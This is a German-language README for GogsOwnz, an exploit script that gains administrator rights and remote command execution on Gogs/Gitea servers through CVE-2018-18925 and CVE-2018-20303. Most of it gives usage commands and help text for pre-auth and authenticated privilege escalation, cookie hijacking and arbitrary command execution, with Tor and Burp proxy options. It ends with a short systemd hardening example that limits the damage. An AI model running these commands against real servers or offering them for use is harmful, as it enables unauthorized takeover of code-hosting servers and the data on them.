
Gogs CVEs
GogsOwnz ist ein einfaches Skript, um Administratorrechte und RCE auf einem Gogs/Gitea-Server zu erlangen.
Nutzt Schwachstellen in Gogs/Gitea aus, einschließlich CVE-2018-18925, CVE-2018-20303.
Legal Disclaimer
Dieses Skript wird ohne Gewähr angeboten. Keine Garantie, Nutzung auf eigenes Risiko, bitte befolgen Sie das Gesetz.
Informationen über laufende Gogs/Gitea-Instanz abrufen
python3 gogsownz.py https://127.0.0.1:3000/ -v --info
Preauth-Privesc ausnutzen
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth
Privesc ausnutzen
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup
oder alternativ
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup
Preauth-RCE ausnutzen
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup
Auth-RCE ausnutzen
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup
Vollständige Verwendung
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
[--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
[--check-tor] [--burp] [-k] [--verbose]
url
positional arguments:
url URL for the Gogs server
optional arguments:
-h, --help show this help message and exit
-C CREDS, --creds CREDS
Credentials for the Gogs server, in the from
"username:password"
-n COOKIENAME, --cookie-name COOKIENAME
Name of the Gogs-specific session cookie
-c COOKIE, --cookie COOKIE
Session for the Gogs server, the value in the
i_like_gogits Cookie
-i, --info Only detect informations about the running Gogs
server, then quit
--rce RCE Command to execute on the Gogs server
--repo REPO Use an existing repo for the PrivEsc
--preauth Try the pre-auth vulnerability
--windows Gogs server runs on Windows
--cleanup Remove all created repo after exploit
--tor Use tor proxy when performing requests
--check-tor Check that Tor is correctly set up before running
--burp Use burp proxy when performing requests
-k, --insecure Allow insecure server connections when using SSL
--verbose, -v
Dank an:
https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf
Wenn Sie beim Einrichten Ihrer systemd-Unit-Datei sorgfältig vorgehen, werden Sie angenehm überrascht sein, dass die Ausnutzung einigermaßen eingeschränkt ist:
[Unit]
Description=Gogs
After=syslog.target
After=network.target
[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs
# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
Dies hält den Dateisystemzugriff zumindest auf ein von systemd erstelltes flüchtiges Dateisystem beschränkt. Es hilft, aber Sie sollten wahrscheinlich den Privesc-Patch anwenden und keine Admin-Rechte vergeben .. offensichtlich.